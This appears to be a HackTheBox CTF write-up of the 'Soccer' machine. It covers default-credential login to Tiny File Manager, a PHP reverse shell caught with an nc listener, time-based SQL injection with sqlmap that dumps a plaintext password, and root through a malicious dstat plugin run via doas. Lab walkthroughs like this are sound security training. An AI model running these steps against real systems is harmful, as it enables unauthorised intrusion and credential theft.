HackTheBox - Soccer
On Soccer we exploit a web file manager to upload a php shell to get a foothold. After that we find another web application running locally thatβs vulnerable to sql injection, so we retrieve a user password with the help of sqlmap. Finally we exploit a doas
entry to get a root shell.
Enumeration
nmap
We start an Nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}
.
-sC: run all the default scripts.
-sV: Find the version of services running on the target.
-T4: Aggressive scan to provide faster results.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Host is up (0.31s latency). [105/138]
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
| 256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_ 256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
We found three open ports.
The web server on port 80 redirects to soccer.htb
, so letβs add that to /etc/hosts
.
Web
Letβs navigate to the website.
Nothing interesting on this page, letβs run a directory scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.11.0
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://soccer.htb
π Threads β 50
π Wordlist β /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
π Status Codes β All Status Codes!
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.11.0
π Extract Links β true
π HTTP methods β [GET]
π« Do Not Recurse β true
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 7l 10w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 494l 1440w 96128c http://soccer.htb/ground3.jpg
200 GET 2232l 4070w 223875c http://soccer.htb/ground4.jpg
200 GET 711l 4253w 403502c http://soccer.htb/ground2.jpg
200 GET 809l 5093w 490253c http://soccer.htb/ground1.jpg
200 GET 147l 526w 6917c http://soccer.htb/
301 GET 7l 12w 178c http://soccer.htb/tiny => http://soccer.htb/tiny/
[####################] - 50s 20498/20498 0s found:6 errors:0
[####################] - 50s 20477/20477 413/s http://soccer.htb/
We found /tiny
, letβs check it.
Itβs a login page of tiny files manager
, I searched on google for default credentials and found admin:admin@123
.
We logged in successfully.
Foothold
We can see on the dashboard the same files we found with the directory scan, which means this is the website root folder.
I tried uploading a php shell but we donβt have write permissions.
There is an uploads directory in /tiny
that we can write to.
We upload a php rev shell.
We setup a listener and navigate to our shell at http://soccer.htb/tiny/uploads/shell.php
1
2
3
4
5
6
[β
]$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.7] from (UNKNOWN) [10.129.103.148] 54422
SOCKET: Shell has connected! PID: 1800
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Privilege Escalation
After running linpeas we find that port 3000 is listening locally.
1
2
3
4
5
6
7
8
9
10
11
ββββββββββββ£ Active Ports
β https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1033/nginx: worker
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:9091 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN 1033/nginx: worker
tcp6 0 0 :::22 :::* LISTEN
Nginx configuration shows that this port has the hostname soc-player.soccer.htb
and itβs proxied to port 80.
So we can add the hostname to our /etc/hosts
and access it without any port forward.
The website looks like the one we saw before but here we can login and signup.
We donβt have any credentials so iβll create an account.
After creating the account and login in we get presented with a ticket and form that allows us to check whether our ticket is valid or not.
If we enter another number we get Ticket doesn't exist
I started burp and intercepted the request and got this:
The website is making a request to a web socket on port 9091 with some json data.
SQLinjection
Letβs test for sql injection using sqlmap
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
[β
]$ sqlmap -u ws://soc-player.soccer.htb:9091 --data '{"id":"12345"}' --batch
___
__H__
___ ___[.]_____ ___ ___ {1.8.3#stable}
|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:25:37 /2024-12-24/
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[20:25:38] [INFO] testing connection to the target URL
[20:25:42] [INFO] checking if the target is protected by some kind of WAF/IPS
[20:25:43] [INFO] testing if the target URL content is stable
[...]
[20:27:03] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[20:27:28] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[20:27:28] [INFO] checking if the injection point on (custom) POST parameter 'JSON id' is a false positive
(custom) POST parameter 'JSON id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 96 HTTP(s) requests:
---
Parameter: JSON id ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"id":"12345 AND (SELECT 6529 FROM (SELECT(SLEEP(5)))jDSa)"}
---
[20:27:50] [INFO] the back-end DBMS is MySQL
[20:27:50] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
back-end DBMS: MySQL >= 5.0.12
The target is vulnerable to sqli
and it uses mysql
as a database.
Letβs scan for databases.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
sqlmap -u ws://soc-player.soccer.htb:9091 --data '{"id":"12345"}' --batch --dbs
___
__H__
___ ___[,]_____ ___ ___ {1.8.3#stable}
|_ -| . ["] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON id ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"id":"12345 AND (SELECT 6529 FROM (SELECT(SLEEP(5)))jDSa)"}
---
[20:29:24] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[20:29:24] [INFO] fetching database names
[20:29:24] [INFO] fetching number of databases
[20:29:24] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[20:30:01] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
5
[20:30:14] [INFO] retrieved:
[20:30:20] [INFO] adjusting time delay to 3 seconds due to good response times
available databases [5]: [*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
We found the database soccer_db
. Letβs scan for tables.
1
2
3
4
5
6
7
8
9
10
11
12
13
β
]$ sqlmap -u ws://soc-player.soccer.htb:9091 --data '{"id":"12345"}' --batch -D soccer_db --tables
___
__H__
___ ___[']_____ ___ ___ {1.8.3#stable}
|_ -| . ["] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+
We found the accounts
table, letβs dump it
1
2
3
4
5
6
7
8
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+
We got the password of user player
, now we can ssh.
root
Linpeas shows us a binary with suid bit called doas
1
2
3
ββββββββββββ£ SUID - Check easy privesc, exploits and write perms
β https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 root root 42K Nov 17 2022 /usr/local/bin/doas
If we check the man page of this binary it says doas β execute commands as another user
, os itβs just like sudo
To know what we can do we need to check the config file located at /usr/local/etc/doas.conf
1
2
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
We can run dstat
as root. Letβs check this command.
1
2
3
4
5
player@soccer:~$ file /usr/bin/dstat
/usr/bin/dstat: Python script, ASCII text executable
player@soccer:~$ ls -l /usr/bin/dstat
-rwxr-xr-x 1 root root 97762 Aug 4 2019 /usr/bin/dstat
player@soccer:~$
The file is a python script. If we check the man page it tells us dstat - versatile tool for generating system resource statistics
It also shows us paths where we can add plugins.
1
2
3
4
5
6
7
8
FILES
Paths that may contain external dstat_*.py plugins:
~/.dstat/
(path of binary)/plugins/
/usr/share/dstat/
/usr/local/share/dstat/
I found out that we have write permission over /usr/local/share/dstat/
So Iβll create a plugin with the name dstat_hack.py
with the content of import os; os.system("/bin/bash")
which is going to launch a shell as root.
1
echo 'import os; os.system("/bin/bash")' > /usr/local/share/dstat/dstat_hack.py
Now iβll run dstat
as root and load the plugin with --hack
.
1
2
3
4
5
player@soccer:~$ doas -u root /usr/bin/dstat --hack
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
root@soccer:/home/player# id
uid=0(root) gid=0(root) groups=0(root)
And just like that we got root!
Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).